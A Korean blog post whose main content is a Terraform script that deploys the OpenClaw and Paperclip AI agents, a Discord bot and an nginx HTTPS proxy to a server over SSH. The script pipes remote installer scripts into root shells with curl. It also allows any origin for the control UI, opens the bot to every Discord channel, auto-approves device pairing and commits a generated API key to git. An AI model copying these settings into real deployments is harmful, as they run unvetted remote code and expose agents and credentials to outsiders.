&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;여기서 주의할점은 절대 `&lt;b&gt;github-models&lt;/b&gt;` 프로바이더로 사용을 하시면 안됩니다. (&lt;b&gt;github-copilot&lt;/b&gt; 사용)&lt;br /&gt;`&lt;b&gt;github-models&lt;/b&gt;`는 GitHub Models API를 직접 호출하며, 요청당 8,000 토큰 하드 리밋이 있습니다. (Pro 포함)&lt;br /&gt;때문에 유료 전환 시에도 과금 발생 ($0.00001/토큰 유닛)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;`&lt;b&gt;github-copilot&lt;/b&gt;` 프로바이더를 사용하면 &lt;b&gt;Copilot Edu, Pro 구독&lt;/b&gt;으로 &lt;b&gt;무료 + 128K 컨텍스트&lt;/b&gt; 사용 가능합니다.&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://docs.openclaw.ai/providers/github-copilot#github-copilot&quot;&gt;GitHub Copilot - OpenClaw&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1775118250292&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;GitHub Copilot - OpenClaw&quot; data-og-description=&quot;&quot; data-og-host=&quot;docs.openclaw.ai&quot; data-og-source-url=&quot;https://docs.openclaw.ai/providers/github-copilot#github-copilot&quot; data-og-url=&quot;https://docs.openclaw.ai/providers/github-copilot&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/c3KCZs/dJMb8UHPurI/72OQf2FcZWwHXXDvazj64k/img.png?width=1200&amp;amp;height=630&amp;amp;face=0_0_1200_630,https://scrap.kakaocdn.net/dn/t9vP1/dJMb9hC1ECd/FjGLrbJkVQtBM8bHlkeQm1/img.png?width=1200&amp;amp;height=630&amp;amp;face=0_0_1200_630&quot;&gt;&lt;a href=&quot;https://docs.openclaw.ai/providers/github-copilot#github-copilot&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://docs.openclaw.ai/providers/github-copilot#github-copilot&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/c3KCZs/dJMb8UHPurI/72OQf2FcZWwHXXDvazj64k/img.png?width=1200&amp;amp;height=630&amp;amp;face=0_0_1200_630,https://scrap.kakaocdn.net/dn/t9vP1/dJMb9hC1ECd/FjGLrbJkVQtBM8bHlkeQm1/img.png?width=1200&amp;amp;height=630&amp;amp;face=0_0_1200_630');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;GitHub Copilot - OpenClaw&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;docs.openclaw.ai&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1775107997332&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# ============================================================
# install_apps.tf
# OpenClaw &amp;amp; Paperclip AI 에이전트 및 디스코드 봇 구축용
# ============================================================

# ────────────────────────────────────────────────────────────
# 0. infra state에서 서버 IP 자동 참조
# ────────────────────────────────────────────────────────────
data &quot;terraform_remote_state&quot; &quot;infra&quot; {
  backend = &quot;local&quot;
  config = {
    path = &quot;${path.module}/../infra/terraform.tfstate&quot;
  }
}

locals {
  server_ip = data.terraform_remote_state.infra.outputs.instance_public_ip
}

# ────────────────────────────────────────────────────────────
# 1. 사용자 입력 변수 설정
# ────────────────────────────────────────────────────────────

variable &quot;discord_bot_token&quot; {
  description = &quot;디스코드 봇 토큰&quot;
  type        = string
  default     = &quot;&amp;lt;Discord Developer Portal &amp;rarr; Bot &amp;rarr; Reset Token에서 발급한 봇 토큰&amp;gt;&quot;
}

variable &quot;llm_model&quot; {
  description = &quot;사용할 LLM 모델명 (github-copilot 프로바이더 사용)&quot;
  type        = string
  default     = &quot;gpt-5-mini&quot;
}

variable &quot;notion_token&quot; {
  description = &quot;Notion 통합 토큰&quot;
  type        = string
  default     = &quot;&amp;lt;Notion &amp;rarr; My Integrations &amp;rarr; Internal Integration Secret&amp;gt;&quot;
}

variable &quot;discord_client_id&quot; {
  description = &quot;디스코드 애플리케이션 Client ID (봇 초대 시 주로 필요)&quot;
  type        = string
  default     = &quot;&quot;
}

variable &quot;better_auth_secret&quot; {
  description = &quot;Paperclip authenticated 모드용 시크릿 (빈 값이면 서버에서 자동 생성)&quot;
  type        = string
  default     = &quot;&quot;
}


# ────────────────────────────────────────────────────────────
# 2. 설치 및 실행 스크립트 (독립 실행형)
# ────────────────────────────────────────────────────────────

resource &quot;null_resource&quot; &quot;install_ai_agents&quot; {
  triggers = {
    config_hash = md5(join(&quot;-&quot;, [
      var.discord_bot_token,
      var.notion_token,
      var.llm_model,
      var.better_auth_secret,
      local.server_ip,
    ]))
  }

  connection {
    type        = &quot;ssh&quot;
    host        = local.server_ip
    user        = &quot;ubuntu&quot;
    private_key = file(&quot;&amp;lt;SSH 프라이빗 키 경로, 예: ~/.ssh/my_key.pem&amp;gt;&quot;)
    timeout     = &quot;20m&quot;
  }

  # ── Phase 0: 기본 패키지 &amp;amp; Node.js 22.x 강제 설치 ──────────
  provisioner &quot;remote-exec&quot; {
    inline = [
      &quot;set -e&quot;,
      &quot;LOG=/home/ubuntu/ai_setup.log&quot;,
      &quot;exec &amp;gt;&amp;gt; \&quot;$LOG\&quot; 2&amp;gt;&amp;amp;1&quot;,
      &quot;echo ''&quot;,
      &quot;echo '========================================================'&quot;,
      &quot;echo \&quot;=== AI 에이전트 설치 시작: $(date '+%Y-%m-%d %H:%M:%S') ===\&quot;&quot;,
      &quot;echo '========================================================'&quot;,

      &quot;export DEBIAN_FRONTEND=noninteractive&quot;,

      # iptables &amp;mdash; SSH + 서비스 포트 + HTTPS 먼저 열기 (REJECT 규칙보다 앞에)
      &quot;sudo iptables -I INPUT 1 -p tcp --dport 22    -j ACCEPT || true&quot;,
      &quot;sudo iptables -I INPUT 2 -p tcp --dport 443   -j ACCEPT || true&quot;,
      &quot;sudo iptables -I INPUT 3 -p tcp --dport 3443  -j ACCEPT || true&quot;,
      &quot;sudo iptables -I INPUT 4 -p tcp --dport 18789 -j ACCEPT || true&quot;,
      &quot;sudo iptables -I INPUT 5 -p tcp --dport 3100  -j ACCEPT || true&quot;,
      &quot;sudo iptables-save | sudo tee /etc/iptables.rules &amp;gt; /dev/null || true&quot;,

      # 기본 패키지 + nginx (HTTPS reverse proxy용)
      &quot;sudo apt-get update -y&quot;,
      &quot;sudo apt-get install -y git curl wget build-essential jq python3 nginx openssl&quot;,

      # ── Node.js 22.x 강제 설치 ──
      # cloud-init이 Node 20.x를 먼저 설치하므로 조건 없이 항상 22.x 설치
      &quot;echo '&amp;gt;&amp;gt;&amp;gt; Node.js 22.x 강제 설치 (기존 버전 무시)'&quot;,
      &quot;curl -fsSL https://deb.nodesource.com/setup_22.x | sudo -E bash -&quot;,
      &quot;sudo apt-get install -y --allow-downgrades nodejs&quot;,
      &quot;echo \&quot;&amp;gt;&amp;gt;&amp;gt; Node version: $(node -v)\&quot;&quot;,

      # 현재 Node 버전 검증 (22.12 이상 필수)
      &quot;NODE_MAJOR=$(node -v | sed 's/v//' | cut -d. -f1)&quot;,
      &quot;if [ \&quot;$NODE_MAJOR\&quot; -lt 22 ]; then&quot;,
      &quot;  echo 'ERROR: Node.js 22+ 설치 실패' &amp;amp;&amp;amp; exit 1&quot;,
      &quot;fi&quot;,

      # npm 글로벌 도구 &amp;mdash; Node 22 기준으로 재설치
      &quot;sudo npm install -g pnpm@latest&quot;,
      &quot;sudo npm install -g pm2@latest&quot;,
      &quot;echo \&quot;&amp;gt;&amp;gt;&amp;gt; pnpm version: $(pnpm -v)\&quot;&quot;,
      &quot;echo \&quot;&amp;gt;&amp;gt;&amp;gt; pm2  version: $(pm2 -v)\&quot;&quot;,

      # Docker (이미 설치되어 있으면 건너뜀)
      &quot;if ! command -v docker &amp;gt; /dev/null 2&amp;gt;&amp;amp;1; then&quot;,
      &quot;  curl -fsSL https://get.docker.com -o /tmp/get-docker.sh &amp;amp;&amp;amp; sudo sh /tmp/get-docker.sh&quot;,
      &quot;  sudo usermod -aG docker ubuntu&quot;,
      &quot;fi&quot;,
      &quot;sudo systemctl enable docker &amp;amp;&amp;amp; sudo systemctl start docker || true&quot;,
    ]
  }

  # ── Phase 1: PM2 정리 &amp;amp; 기존 프로세스 전부 제거 ────────────
  provisioner &quot;remote-exec&quot; {
    inline = [
      &quot;set -e&quot;,
      &quot;exec &amp;gt;&amp;gt; /home/ubuntu/ai_setup.log 2&amp;gt;&amp;amp;1&quot;,
      &quot;echo ''&quot;,
      &quot;echo '=== PM2 클린업 ==='&quot;,

      # 기존 PM2 프로세스 &amp;amp; 데몬 완전 제거
      &quot;pm2 kill 2&amp;gt;/dev/null || true&quot;,
      &quot;pm2 flush 2&amp;gt;/dev/null || true&quot;,

      # OpenClaw gateway가 포트를 잡고 있을 수 있으므로 강제 종료
      &quot;pkill -f 'openclaw.mjs' 2&amp;gt;/dev/null || true&quot;,
      &quot;pkill -f 'openclaw gateway' 2&amp;gt;/dev/null || true&quot;,
      &quot;sleep 2&quot;,

      # 포트 18789/3100/13100 을 사용 중인 프로세스 정리
      &quot;sudo fuser -k 18789/tcp 2&amp;gt;/dev/null || true&quot;,
      &quot;sudo fuser -k 3100/tcp  2&amp;gt;/dev/null || true&quot;,
      &quot;sudo fuser -k 13100/tcp 2&amp;gt;/dev/null || true&quot;,
      &quot;sleep 1&quot;,
      &quot;echo '&amp;gt;&amp;gt;&amp;gt; PM2 클린업 완료'&quot;,
    ]
  }

  # ── Phase 2: OpenClaw 설치 &amp;amp; 설정 ──────────────────────────
  provisioner &quot;remote-exec&quot; {
    inline = [
      &quot;set -e&quot;,
      &quot;exec &amp;gt;&amp;gt; /home/ubuntu/ai_setup.log 2&amp;gt;&amp;amp;1&quot;,
      &quot;echo ''&quot;,
      &quot;echo '=== OpenClaw 설치 ==='&quot;,

      # OpenClaw 글로벌 설치
      &quot;sudo npm install -g openclaw@latest&quot;,
      &quot;echo \&quot;&amp;gt;&amp;gt;&amp;gt; OpenClaw version: $(openclaw --version 2&amp;gt;/dev/null || echo 'unknown')\&quot;&quot;,

      # ── OpenClaw 설정: openclaw config set CLI 사용 ──
      # (주의: 구버전의 agent 키가 아닌 새 스키마 사용)
      &quot;openclaw config set gateway.mode    local&quot;,
      &quot;openclaw config set gateway.bind    lan&quot;,
      &quot;openclaw config set channels.discord.token '${var.discord_bot_token}'&quot;,
      # ── GitHub Copilot 프로바이더 인증 (device flow) ──
      # ⚠️ github-models 절대 사용 금지! 요청당 8K 토큰 제한 + 과금됨
      # github-copilot은 Copilot Pro 구독에 포함 (추가 비용 없음)
      &quot;openclaw models auth login-github-copilot --yes || echo 'Copilot 인증 실패 &amp;mdash; 수동으로 실행 필요'&quot;,
      &quot;openclaw models set github-copilot/${var.llm_model}&quot;,

      # trustedProxies + controlUi.allowedOrigins &amp;mdash; Python으로 주입
      &amp;lt;&amp;lt;-PYBLOCK
      python3 -c &quot;
import json, os, pathlib

config_path = pathlib.Path(os.path.expanduser('~/.openclaw/openclaw.json'))
config = json.loads(config_path.read_text()) if config_path.exists() else {}

# nginx(127.0.0.1)를 trusted proxy로 등록 &amp;mdash; 프록시 경유 시 로컬 취급
config.setdefault('gateway', {})
config['gateway']['trustedProxies'] = ['127.0.0.1', '::1']

# Control UI 외부 origin 허용
config['gateway'].setdefault('controlUi', {})
config['gateway']['controlUi']['allowedOrigins'] = ['*']

# Discord 채널 정책: 'open'으로 설정하여 모든 채널에서 봇 응답 허용
# (기본값 'allowlist'는 허용 목록이 비어있어 모든 채널이 차단됨)
config.setdefault('channels', {})
config['channels'].setdefault('discord', {})
config['channels']['discord']['groupPolicy'] = 'open'

config_path.write_text(json.dumps(config, indent=2))
print('&amp;gt;&amp;gt;&amp;gt; OpenClaw config updated via Python')
&quot;
      PYBLOCK
      ,

      # OpenClaw 설정 확인
      &quot;echo '&amp;gt;&amp;gt;&amp;gt; OpenClaw config:'&quot;,
      &quot;cat ~/.openclaw/openclaw.json | jq . 2&amp;gt;/dev/null || cat ~/.openclaw/openclaw.json&quot;,

      # ── PM2용 bash wrapper 스크립트 생성 ──
      # PM2는 .mjs 심볼릭 링크에 -- 인자를 전달할 수 없으므로 wrapper 필요
      &quot;OPENCLAW_MJS=$(readlink -f $(which openclaw) 2&amp;gt;/dev/null || echo '/usr/lib/node_modules/openclaw/openclaw.mjs')&quot;,
      &quot;cat &amp;gt; /home/ubuntu/start-openclaw.sh &amp;lt;&amp;lt; 'WRAPPER'&quot;,
      &quot;#!/bin/bash&quot;,
      &quot;exec /usr/bin/node $OPENCLAW_MJS gateway&quot;,
      &quot;WRAPPER&quot;,
      # wrapper 안의 $OPENCLAW_MJS를 실제 경로로 치환
      &quot;sed -i \&quot;s|\\$OPENCLAW_MJS|$OPENCLAW_MJS|g\&quot; /home/ubuntu/start-openclaw.sh&quot;,
      &quot;chmod +x /home/ubuntu/start-openclaw.sh&quot;,
      &quot;echo \&quot;&amp;gt;&amp;gt;&amp;gt; Wrapper script: $(cat /home/ubuntu/start-openclaw.sh)\&quot;&quot;,

      # PM2로 OpenClaw gateway 실행
      &quot;pm2 start /home/ubuntu/start-openclaw.sh --name openclaw --interpreter bash&quot;,
      &quot;sleep 8&quot;,

      # 첫 번째 대기 중인 장치 pairing 자동 승인
      &quot;openclaw devices approve --latest 2&amp;gt;/dev/null || echo '대기 중인 pairing 요청 없음'&quot;,

      &quot;pm2 logs openclaw --lines 15 --nostream || true&quot;,
      &quot;echo '&amp;gt;&amp;gt;&amp;gt; OpenClaw 설치 완료'&quot;,
    ]
  }

  # ── Phase 3: Paperclip 설치 &amp;amp; 설정 ─────────────────────────
  provisioner &quot;remote-exec&quot; {
    inline = [
      &quot;set -e&quot;,
      &quot;exec &amp;gt;&amp;gt; /home/ubuntu/ai_setup.log 2&amp;gt;&amp;amp;1&quot;,
      &quot;echo ''&quot;,
      &quot;echo '=== Paperclip 설치 ==='&quot;,

      # Paperclip 소스 클론
      &quot;sudo mkdir -p /opt/paperclip&quot;,
      &quot;sudo chown ubuntu:ubuntu /opt/paperclip&quot;,
      &quot;cd /opt/paperclip&quot;,

      &quot;if [ ! -d '/opt/paperclip/.git' ]; then&quot;,
      &quot;  git clone https://github.com/paperclipai/paperclip.git /opt/paperclip&quot;,
      &quot;else&quot;,
      &quot;  cd /opt/paperclip &amp;amp;&amp;amp; git pull --ff-only || true&quot;,
      &quot;fi&quot;,
      &quot;cd /opt/paperclip&quot;,

      # BETTER_AUTH_SECRET 생성 (변수 비어있으면 자동 생성)
      &quot;BETTER_AUTH_SECRET='${var.better_auth_secret}'&quot;,
      &quot;if [ -z \&quot;$BETTER_AUTH_SECRET\&quot; ]; then&quot;,
      &quot;  BETTER_AUTH_SECRET=$(openssl rand -hex 32)&quot;,
      &quot;  echo \&quot;&amp;gt;&amp;gt;&amp;gt; BETTER_AUTH_SECRET 자동 생성됨\&quot;&quot;,
      &quot;fi&quot;,

      # .env 생성
      &quot;cat &amp;gt; /opt/paperclip/.env &amp;lt;&amp;lt; EOT&quot;,
      &quot;LLM_MODEL=${var.llm_model}&quot;,
      &quot;NOTION_TOKEN=${var.notion_token}&quot;,
      &quot;DISCORD_CLIENT_ID=${var.discord_client_id}&quot;,
      &quot;COMPANY_NAME=bllocorp&quot;,
      &quot;HOST=0.0.0.0&quot;,
      &quot;PAPERCLIP_DEPLOYMENT_MODE=authenticated&quot;,
      &quot;PAPERCLIP_AUTH_BASE_URL_MODE=explicit&quot;,
      &quot;BETTER_AUTH_SECRET=$BETTER_AUTH_SECRET&quot;,
      &quot;PAPERCLIP_PUBLIC_URL=https://${local.server_ip}:3443&quot;,
      &quot;PAPERCLIP_AUTH_DISABLE_SIGN_UP=true&quot;,
      &quot;EOT&quot;,

      &quot;echo '&amp;gt;&amp;gt;&amp;gt; .env 생성 완료'&quot;,

      # Paperclip allowedHostnames config 생성 (외부 IP 접속 허용)
      &quot;mkdir -p /home/ubuntu/.paperclip/instances/default&quot;,
      &amp;lt;&amp;lt;-PYALLOWED
      python3 -c &quot;
import json, pathlib
p = pathlib.Path('/home/ubuntu/.paperclip/instances/default/config.json')
if p.exists():
    c = json.loads(p.read_text())
else:
    c = {}
hosts = set(c.get('allowedHostnames', []))
hosts.update(['localhost', '127.0.0.1', '${local.server_ip}'])
c['allowedHostnames'] = sorted(hosts)
p.write_text(json.dumps(c, indent=2))
print('&amp;gt;&amp;gt;&amp;gt; Paperclip allowedHostnames:', c['allowedHostnames'])
&quot;
      PYALLOWED
      ,

      # 의존성 설치
      &quot;cd /opt/paperclip&quot;,
      &quot;pnpm install --frozen-lockfile 2&amp;gt;/dev/null || pnpm install&quot;,

      # PM2용 bash wrapper 생성 (환경변수 .env 로드 + pnpm dev)
      &quot;cat &amp;gt; /home/ubuntu/start-paperclip.sh &amp;lt;&amp;lt; 'PPWRAP'&quot;,
      &quot;#!/bin/bash&quot;,
      &quot;cd /opt/paperclip&quot;,
      &quot;set -a; source /opt/paperclip/.env; set +a&quot;,
      &quot;exec pnpm dev&quot;,
      &quot;PPWRAP&quot;,
      &quot;chmod +x /home/ubuntu/start-paperclip.sh&quot;,

      # PM2로 Paperclip 실행 (bash wrapper 경유 &amp;mdash; 환경변수 안정적 전달)
      &quot;pm2 start /home/ubuntu/start-paperclip.sh --name paperclip --interpreter bash&quot;,
      &quot;sleep 8&quot;,
      &quot;pm2 logs paperclip --lines 15 --nostream || true&quot;,
      &quot;echo '&amp;gt;&amp;gt;&amp;gt; Paperclip 설치 완료'&quot;,
    ]
  }

  # ── Phase 3-b: OpenClaw agent API key 사전 생성 ─────────────
  # Paperclip이 기동된 뒤 곧바로 agent API key를 생성하여
  # ~/.openclaw/workspace/paperclip-claimed-api-key.json 에 저장.
  # 이렇게 하면 첫 번째 heartbeat run에서 파일이 없어 실패하는 문제를 방지.
  provisioner &quot;remote-exec&quot; {
    inline = [
      &quot;set -e&quot;,
      &quot;exec &amp;gt;&amp;gt; /home/ubuntu/ai_setup.log 2&amp;gt;&amp;amp;1&quot;,
      &quot;echo ''&quot;,
      &quot;echo '=== Paperclip agent API key 사전 생성 ==='&quot;,

      # Paperclip이 완전히 올라올 때까지 최대 60초 대기
      &quot;for i in $(seq 1 12); do&quot;,
      &quot;  STATUS=$(curl -s -o /dev/null -w '%{http_code}' http://127.0.0.1:3100/api/health 2&amp;gt;/dev/null || echo '000')&quot;,
      &quot;  if [ \&quot;$STATUS\&quot; = '200' ]; then echo '&amp;gt;&amp;gt;&amp;gt; Paperclip health OK'; break; fi&quot;,
      &quot;  echo \&quot;&amp;gt;&amp;gt;&amp;gt; Paperclip 아직 준비 중... ($i/12)\&quot;; sleep 5&quot;,
      &quot;done&quot;,

      # OpenClaw agent가 Paperclip에 등록될 때까지 최대 30초 대기
      &quot;AGENT_ID=''&quot;,
      &quot;for i in $(seq 1 10); do&quot;,
      &quot;  AGENT_ID=$(curl -s http://127.0.0.1:3100/api/agents -H 'x-paperclip-local-admin: 1' 2&amp;gt;/dev/null | python3 -c \&quot;import json,sys; rows=json.load(sys.stdin); a=next((r for r in rows if 'openclaw' in (r.get('name','') or '').lower()),None); print(a['id'] if a else '')\&quot; 2&amp;gt;/dev/null || echo '')&quot;,
      &quot;  if [ -n \&quot;$AGENT_ID\&quot; ]; then echo \&quot;&amp;gt;&amp;gt;&amp;gt; Agent ID: $AGENT_ID\&quot;; break; fi&quot;,
      &quot;  echo \&quot;&amp;gt;&amp;gt;&amp;gt; OpenClaw agent 등록 대기 중... ($i/10)\&quot;; sleep 3&quot;,
      &quot;done&quot;,

      # Agent ID 확인 실패 시 건너뜀 (설치 자체는 중단하지 않음)
      &quot;if [ -z \&quot;$AGENT_ID\&quot; ]; then echo '&amp;gt;&amp;gt;&amp;gt; WARN: agent 미등록 &amp;mdash; key 사전 생성 건너뜀'; exit 0; fi&quot;,

      # agent API key 생성 (local admin 헤더 사용)
      &quot;KEY_JSON=$(curl -s -X POST http://127.0.0.1:3100/api/agents/$AGENT_ID/keys -H 'Content-Type: application/json' -H 'x-paperclip-local-admin: 1' -d '{\&quot;label\&quot;:\&quot;bootstrap-key\&quot;}' 2&amp;gt;/dev/null || echo '')&quot;,
      &quot;TOKEN=$(echo \&quot;$KEY_JSON\&quot; | python3 -c \&quot;import json,sys; d=json.load(sys.stdin); print(d.get('token',''))\&quot; 2&amp;gt;/dev/null || echo '')&quot;,
      &quot;KEY_ID=$(echo \&quot;$KEY_JSON\&quot; | python3 -c \&quot;import json,sys; d=json.load(sys.stdin); print(d.get('id',''))\&quot; 2&amp;gt;/dev/null || echo '')&quot;,

      &quot;if [ -z \&quot;$TOKEN\&quot; ]; then echo '&amp;gt;&amp;gt;&amp;gt; WARN: API key 생성 실패 &amp;mdash; 건너뜀'; exit 0; fi&quot;,
      &quot;echo \&quot;&amp;gt;&amp;gt;&amp;gt; API key 생성 완료 (keyId: $KEY_ID)\&quot;&quot;,

      # ~/.openclaw/workspace/ 에 JSON 파일로 저장
      &quot;mkdir -p /home/ubuntu/.openclaw/workspace&quot;,
      &quot;python3 -c \&quot;&quot;,
      &quot;import json, sys&quot;,
      &quot;token = '$TOKEN'&quot;,
      &quot;key_id = '$KEY_ID'&quot;,
      &quot;agent_id = '$AGENT_ID'&quot;,
      &quot;import datetime&quot;,
      &quot;data = {'keyId': key_id, 'token': token, 'agentId': agent_id, 'createdAt': datetime.datetime.utcnow().isoformat() + 'Z'}&quot;,
      &quot;import pathlib&quot;,
      &quot;p = pathlib.Path('/home/ubuntu/.openclaw/workspace/paperclip-claimed-api-key.json')&quot;,
      &quot;p.write_text(json.dumps(data))&quot;,
      &quot;p.chmod(0o600)&quot;,
      &quot;print('&amp;gt;&amp;gt;&amp;gt; paperclip-claimed-api-key.json 저장 완료:', str(p))&quot;,
      &quot;\&quot;&quot;,

      # git workspace에도 커밋
      &quot;cd /home/ubuntu/.openclaw/workspace&quot;,
      &quot;git add paperclip-claimed-api-key.json 2&amp;gt;/dev/null || true&quot;,
      &quot;git commit -m 'chore: add bootstrap paperclip api key' 2&amp;gt;/dev/null || true&quot;,
      &quot;echo '&amp;gt;&amp;gt;&amp;gt; git commit 완료'&quot;,
    ]
  }

  # ── Phase 4: nginx HTTPS reverse proxy 설정 ────────────────
  provisioner &quot;remote-exec&quot; {
    inline = [
      &quot;set -e&quot;,
      &quot;exec &amp;gt;&amp;gt; /home/ubuntu/ai_setup.log 2&amp;gt;&amp;amp;1&quot;,
      &quot;echo ''&quot;,
      &quot;echo '=== nginx HTTPS 프록시 설정 ==='&quot;,

      # 자체 서명 SSL 인증서 생성 (10년 유효)
      &quot;sudo mkdir -p /etc/nginx/ssl&quot;,
      &quot;if [ ! -f /etc/nginx/ssl/selfsigned.crt ]; then&quot;,
      &quot;  sudo openssl req -x509 -nodes -days 3650 -newkey rsa:2048 -keyout /etc/nginx/ssl/selfsigned.key -out /etc/nginx/ssl/selfsigned.crt -subj '/CN=${local.server_ip}/O=OpenClaw/C=KR'&quot;,
      &quot;  echo '&amp;gt;&amp;gt;&amp;gt; SSL 인증서 생성 완료'&quot;,
      &quot;fi&quot;,

      # nginx 설정 &amp;mdash; OpenClaw(443) + Paperclip(3443) HTTPS reverse proxy
      &quot;cat &amp;gt; /tmp/openclaw-ssl &amp;lt;&amp;lt; 'NGINXCONF'&quot;,
      &quot;server {&quot;,
      &quot;    listen 443 ssl;&quot;,
      &quot;    server_name _;&quot;,
      &quot;    ssl_certificate     /etc/nginx/ssl/selfsigned.crt;&quot;,
      &quot;    ssl_certificate_key /etc/nginx/ssl/selfsigned.key;&quot;,
      &quot;    ssl_protocols       TLSv1.2 TLSv1.3;&quot;,
      &quot;    location / {&quot;,
      &quot;        proxy_pass http://127.0.0.1:18789;&quot;,
      &quot;        proxy_http_version 1.1;&quot;,
      &quot;        proxy_set_header Upgrade $http_upgrade;&quot;,
      &quot;        proxy_set_header Connection \&quot;upgrade\&quot;;&quot;,
      &quot;        proxy_set_header Host $http_host;&quot;,
      &quot;        proxy_set_header X-Real-IP $remote_addr;&quot;,
      &quot;        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;&quot;,
      &quot;        proxy_set_header X-Forwarded-Proto https;&quot;,
      &quot;        proxy_read_timeout 86400;&quot;,
      &quot;        proxy_send_timeout 86400;&quot;,
      &quot;    }&quot;,
      &quot;}&quot;,
      &quot;server {&quot;,
      &quot;    listen 3443 ssl;&quot;,
      &quot;    server_name _;&quot;,
      &quot;    ssl_certificate     /etc/nginx/ssl/selfsigned.crt;&quot;,
      &quot;    ssl_certificate_key /etc/nginx/ssl/selfsigned.key;&quot;,
      &quot;    ssl_protocols       TLSv1.2 TLSv1.3;&quot;,
      &quot;    location / {&quot;,
      &quot;        proxy_pass http://127.0.0.1:3100;&quot;,
      &quot;        proxy_http_version 1.1;&quot;,
      &quot;        proxy_set_header Upgrade $http_upgrade;&quot;,
      &quot;        proxy_set_header Connection \&quot;upgrade\&quot;;&quot;,
      &quot;        proxy_set_header Host $http_host;&quot;,
      &quot;        proxy_set_header X-Real-IP $remote_addr;&quot;,
      &quot;        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;&quot;,
      &quot;        proxy_set_header X-Forwarded-Proto https;&quot;,
      &quot;        proxy_read_timeout 86400;&quot;,
      &quot;        proxy_send_timeout 86400;&quot;,
      &quot;    }&quot;,
      &quot;}&quot;,
      &quot;NGINXCONF&quot;,
      &quot;sudo mv /tmp/openclaw-ssl /etc/nginx/sites-available/openclaw-ssl&quot;,
      &quot;sudo ln -sf /etc/nginx/sites-available/openclaw-ssl /etc/nginx/sites-enabled/&quot;,
      &quot;sudo rm -f /etc/nginx/sites-enabled/default&quot;,
      &quot;sudo nginx -t &amp;amp;&amp;amp; sudo systemctl restart nginx&quot;,
      &quot;sudo systemctl enable nginx&quot;,
      &quot;echo '&amp;gt;&amp;gt;&amp;gt; nginx HTTPS 프록시 활성화 완료'&quot;,
    ]
  }

  # ── Phase 5: PM2 상태 저장 &amp;amp; 재부팅 시 자동 실행 등록 ──────
  provisioner &quot;remote-exec&quot; {
    inline = [
      &quot;set -e&quot;,
      &quot;exec &amp;gt;&amp;gt; /home/ubuntu/ai_setup.log 2&amp;gt;&amp;amp;1&quot;,
      &quot;echo ''&quot;,
      &quot;echo '=== PM2 자동 시작 등록 ==='&quot;,

      &quot;pm2 save --force&quot;,
      &quot;sudo env PATH=$PATH:/usr/bin pm2 startup systemd -u ubuntu --hp /home/ubuntu || true&quot;,

      # 최종 상태 출력
      &quot;echo ''&quot;,
      &quot;echo '========================================================'&quot;,
      &quot;echo '=== 최종 상태 확인 ==='&quot;,
      &quot;echo '========================================================'&quot;,
      &quot;pm2 list&quot;,
      &quot;echo ''&quot;,
      &quot;echo \&quot;Node.js: $(node -v)\&quot;&quot;,
      &quot;echo \&quot;npm:     $(npm -v)\&quot;&quot;,
      &quot;echo \&quot;pnpm:    $(pnpm -v)\&quot;&quot;,
      &quot;echo \&quot;pm2:     $(pm2 -v)\&quot;&quot;,
      &quot;echo ''&quot;,

      # 서비스 바인딩 확인 (앱 + HTTPS 프록시)
      &quot;echo '&amp;gt;&amp;gt;&amp;gt; 포트 바인딩 확인:'&quot;,
      &quot;sudo ss -tlnp | grep -E '18789|3100|443|3443' || echo '경고: 서비스 포트 미감지'&quot;,

      &quot;echo ''&quot;,
      &quot;echo \&quot;=== 완료: $(date '+%Y-%m-%d %H:%M:%S') ===\&quot;&quot;,
    ]
  }
}

output &quot;instance_public_ip&quot; {
  description = &quot;설치된 서버 공인 IP&quot;
  value       = local.server_ip
}

output &quot;openclaw_url&quot; {
  description = &quot;OpenClaw Gateway URL (HTTPS)&quot;
  value       = &quot;https://${local.server_ip}&quot;
}

output &quot;paperclip_url&quot; {
  description = &quot;Paperclip URL (HTTPS)&quot;
  value       = &quot;https://${local.server_ip}:3443&quot;
}

# terraform plan  -target &quot;null_resource.install_ai_agents&quot;
# terraform apply -target &quot;null_resource.install_ai_agents&quot;

# ============================================================
# 설치 후 확인
# ============================================================

# PM2 프로세스 상태 확인
# ssh ubuntu@161.118.144.8 &quot;pm2 list&quot;
# 결과: openclaw, paperclip 모두 &quot;online&quot; 상태여야 함

# Discord 테스트
# 서버 채널에서 @claw 또는 슬래시 커맨드로 봇 테스트
# 예: @claw 안녕
#     /agents hi
# 응답 예: &quot;안녕하세요! 무엇을 도와드릴까요?&quot;

# API 할당량 확인
# ssh ubuntu@161.118.144.8 &quot;openclaw models status&quot;
# 결과: &quot;github-copilot usage: Premium XX% left &amp;middot; Chat 100% left&quot;
# Premium 0%가 되면 Copilot Pro 결제 필요&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;참고 사항&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
